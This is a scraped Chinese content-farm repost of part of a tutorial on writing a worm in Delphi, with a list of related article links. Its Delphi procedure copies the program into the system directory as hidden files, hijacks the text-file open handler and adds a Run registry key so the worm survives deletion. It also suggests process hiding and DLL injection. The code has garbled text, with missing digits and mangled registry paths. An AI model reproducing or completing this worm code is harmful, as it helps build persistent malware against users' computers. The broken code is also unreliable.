知识大全 用Delphi来编写蠕虫病毒浅析[2]

Posted 系统

篇首语:注意力是智慧的门户。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 用Delphi来编写蠕虫病毒浅析[2]相关的知识,希望对你有一定的参考价值。

用Delphi来编写蠕虫病毒浅析[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

下面 我综合上面的说明来给出一个简短的例子 procedure SelfCopy; var Path value:array [ ] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path ); //取得系统的路径 s:=strpas(Path); //转换成字符串 CopyFile(pchar(paramstr( )) pchar(S+ /ruin exe ) false); CopyFile(pchar(paramstr( )) pchar(S+ /virus_ruin exe ) false); //把自身拷贝到系统目录下为ruin exe virus_ruin exe SetFileAttributes(pchar(S+ /ruin exe ) FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(pchar(S+ /virus_ruin exe ) FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //设置刚才的两个文件为系统和隐藏 RegOpenKey(HKEY_CLASSES_ROOT txtfile/shell/open/mand Hk); value:= virus_ruin exe % ; RegSetvalueEx(Hk REG_SZ @value ); //把virus_ruin exe和文本文件关联 RegOpenKey(HKEY_LOCAL_MACHINE Sofare/Microsoft/Windows/CurrentVersion/Run Hk); value:= ruin exe ; RegSetvalueEx(Hk ruin REG_SZ @value ); //设置开机自动运行ruin exe end;   我们看上面的这个程序 就完成了自我复制 和开机自动运行 并且关联了文本文件 这样 如果run下的键被删除 那么他打开文本文件 蠕虫文件又被激活   不过这个样子 你就需要在你的主程序里面进行判断 如果传递的参数等于 则打开该文本 并且进行自我保护   如 begin if paramcount= then shellexecute( open notepad exe pchar(paramstr( )) nil sw_normal); //其他的代码   这里 我只是给出一个简单的例子来描述出一个大概的思路 很多地方还不完善 比如进程的隐藏 你可以进行判断 如果是 你可以registerserverapplication如果你是用的 你可以做为服务启动 或者是插入dll 或者是用求职信的方法 开机加载一个dll 或者是win ini cha138/Article/program/Delphi/201311/24756

相关参考

知识大全 用Delphi编写圆周率模拟器[2]

用Delphi编写圆周率模拟器[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  程序首先在I

知识大全 用Delphi编写打印程序的窍门

用Delphi编写打印程序的窍门  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  如果你想自己用D

知识大全 用Delphi编写数据报存储控件

用Delphi编写数据报存储控件  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!一概述    在用D

知识大全 用Delphi编写系统进程监控程序

用Delphi编写系统进程监控程序  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!本程序通过调用ke

知识大全 用Delphi编写圆周率模拟器

用Delphi编写圆周率模拟器  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!圆周率π是个古老的东西

知识大全 用Delphi编写圆周率模拟器[1]

用Delphi编写圆周率模拟器[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  圆周率π是个

知识大全 今天刚买的笔记本电脑,用360安全卫士查出许多漏洞、蠕虫病毒和恶意程序!请问漏洞要修复吗

今天刚买的笔记本电脑,用360安全卫士查出许多漏洞、蠕虫病毒和恶意程序!请问漏洞要修复吗?病毒呢?按照360卫士把重要的漏洞补丁打上就可以了,再说我们电脑里又没什么重要东西值得骇客偷。第一台笔记本,装

知识大全 蠕虫病毒是靠什么传播的,有什么危害

蠕虫病毒是靠什么传播的,有什么危害预防方法就是及时升级杀毒软件蠕虫病毒蠕虫病毒和一般的计算机病毒有着很大的区别,对于它,现在还没有一个成套的理论体系,但是一般认为:蠕虫病毒是一种通过网络传播的恶性病毒

知识大全 怎样检视自己电脑是否中了蠕虫病毒大神们帮帮忙

怎样检视自己电脑是否中了蠕虫病毒大神们帮帮忙中毒者所有Exe档案受到感染,打不开,开启后致命错误,并且Exe档案图示全部异常。需要在安全模式下全盘扫描。很高兴为您服务—小C问问答疑团队团长_小C我们的

知识大全 Delphi基础开发技巧浅析

新手学堂:Delphi基础开发技巧浅析  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!◇[DELPH